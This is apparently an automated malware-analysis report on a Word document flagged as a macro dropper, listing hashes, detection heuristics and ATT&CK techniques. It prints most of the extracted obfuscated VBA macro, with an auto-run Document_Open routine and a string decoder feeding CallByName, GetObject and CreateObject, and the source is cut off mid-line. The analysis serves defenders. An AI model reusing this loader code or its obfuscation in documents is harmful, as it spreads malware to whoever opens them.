Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9112505ff574b43d…

MALICIOUS

Office (OLE)

92.5 KB Created: 2019-04-01 05:55:00 Authoring application: Microsoft Office Word First seen: 2021-05-23
MD5: 53b02fe863bdb5bfb7571bb20296887d SHA-1: 787f781debd7fc00fde76324c3a3ef7cbdbd1156 SHA-256: 9112505ff574b43dd27efc8afcf029841e1ea5193db90424b8b8b6b0e53c3437
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Reverse Engineer

The file contains heavily obfuscated VBA macros, including a Document_Open auto-exec macro. Critical heuristics indicate an obfuscated auto-exec loader that uses CreateObject, GetObject, and CallByName, suggesting it attempts to download and execute a second-stage payload. ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6941263-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6941263-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7819 bytes
SHA-256: eda251d766c8be741cf95eece48f2e72db3546f1f82b4523732214514345a0a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Document_Open()

Module1.fqxf
Module1.kofp
Module1.nkyq

End Sub


Attribute VB_Name = "Module1"





Function nkyq()
    Set jqee = Application
    Set cgvs = CallByName(jqee, vsuy("0" & rwbv & "34134" & ddtp & "134135" & kigv & "12" & aqyn & "5"), gvhf)
    CallByName cgvs, vsuy("087" & hwes & "0" & rwbv & "27" & zbyd & "" & monm & "135"), VbMethod, vsuy("087" & hwes & "11" & uarx & "6" & qcsv & "1" & qxik & "291" & yxrl & "5108" & uarx & "3" & monm & "" & hwes & "" & monm & ""), vsuy("103123" & zbyd & "0" & gklf & "19" & hwes & "11" & uarx & "6" & qcsv & "1" & qxik & "291" & yxrl & "5" & gsas & "7" & zbyd & "" & monm & "134" & ddtp & "" & hwes & "129051" & ddtp & "1340" & gklf & "29" & hwes & "1" & yxrl & "" & gklf & "1" & uarx & "012" & uarx & "1" & kigv & "13" & ewdl & "41" & xzne & "27" & zbyd & "05" & gsas & "8" & ddtp & "13" & ewdl & "305" & gsas & "" & ewdl & "3" & ddtp & "13405" & gsas & "" & uarx & "0" & monm & "119051" & hwes & "1" & ipkt & "" & ipkt & "24" & agoc & "" & zbyd & "05" & gsas & "7" & zbyd & "" & monm & "134" & ddtp & "" & hwes & "129"), 0, 1, 0, 0, 0
End Function
Function fqxf()
    Dim jqee, cgvs As String
    Set patu = Application
    udnm = CallByName(patu, vsuy("" & snbr & "" & zbyd & "" & monm & "134" & ddtp & "" & hwes & "129"), gvhf)
    jqee = vsuy("" & kvww & "" & hwes & "12" & gsas & "" & dnxj & "8" & kigv & "" & monm & "1" & qxik & "1109" & oeoz & "411" & uarx & "3" & hwes & "134" & hwes & "12" & gsas & "" & gklf & "10981" & ipkt & "" & ipkt & "24" & agoc & "1" & qxik & "11") & udnm & vsuy("11108" & uarx & "" & qchl & "81" & qxik & "" & dsvk & "11" & kvww & "1" & qxik & "1" & uarx & "6" & monm & "" & ddtp & "1" & xvtb & "40")
    cgvs = vsuy("0" & rwbv & "18" & agoc & "1" & qxik & "34134" & snbr & "085098096")
    Set mqxx = egoa(vsuy("138" & ddtp & "129" & qcsv & "12212" & uarx & "" & dnxj & "4077142" & ddtp & "12" & uarx & "1" & zbyd & "" & monm & "134" & hwes & "129" & kigv & "13" & ewdl & "4" & hwes & "1290951" & qxik & "371" & qxik & "27080" & ddtp & "12" & uarx & "1" & zbyd & "" & monm & "134" & hwes & "129" & kigv & "1" & xvtb & "" & qxik & "4405" & ipkt & "111" & lcpu & "" & gklf & "1" & monm & "" & hwes & "" & hwes & "1" & xvtb & "111191" & qxik & "21" & kigv & "1" & sinb & "" & dsvk & "" & yxrl & "77" & kvww & "1" & xvtb & "191011" & qxik & "22099" & monm & "" & hwes & "137"))
    CallByName mqxx, vsuy("" & kvww & "1" & qxik & "" & yxrl & "" & nsps & "06098101087" & snbr & "" & kigv & "1" & dsvk & "" & sinb & "20"), VbMethod, &H80000001, jqee, cgvs, 1

End Function

Function egoa(jqee As String) As Object
    Set egoa = GetObject(jqee)
End Function

Function vsuy(cgvs As String) As String
    Dim jqee As String
    jqee = ""
    Do
        jqee = jqee + njjn(obvy(cgvs))
        cgvs = dmex(cgvs)
    Loop While Len(cgvs) > 0
    vsuy = jqee
End Function

Function njjn(cgvs)
    njjn = Chr(cgvs - 19)
End Function
Function obvy(cgvs)
    obvy = Left(cgvs, 3)
End Function
Function dmex(cgvs)
    dmex = Right(cgvs, Len(cgvs) - 3)
End Function

Function kofp()

    Do While True
    On Error GoTo Handler
    Dim xl, xw As Object
    

    Set xl = CreateObject(vsuy("08" & uarx & "" & qchl & "81" & qxik & "270650" & rwbv & "3" & gsas & "1127" & ddtp & "" & agoc & "" & kigv & "13" & ewdl & "4" & hwes & "129"))

    CallByName xl, vsuy("" & snbr & "" & ddtp & "134" & ddtp & "1" & xzne & "27" & zbyd & ""), rtut, False
    CallByName xl, vsuy("0" & nsps & "241341" & mxvc & "27" & kigv & "1400" & rwbv & "27" & zbyd & "" & monm & "13" & dnxj & "4"), rtut, False
    Set xv = CallByName(xl, vsuy("" & lcpu & "" & hwes & "" & monm & "" & dsvb & "117" & hwes & "" & hwes & "" & dsvb & "134"), gvhf)
    Set xw = CallByName(xv
... (truncated)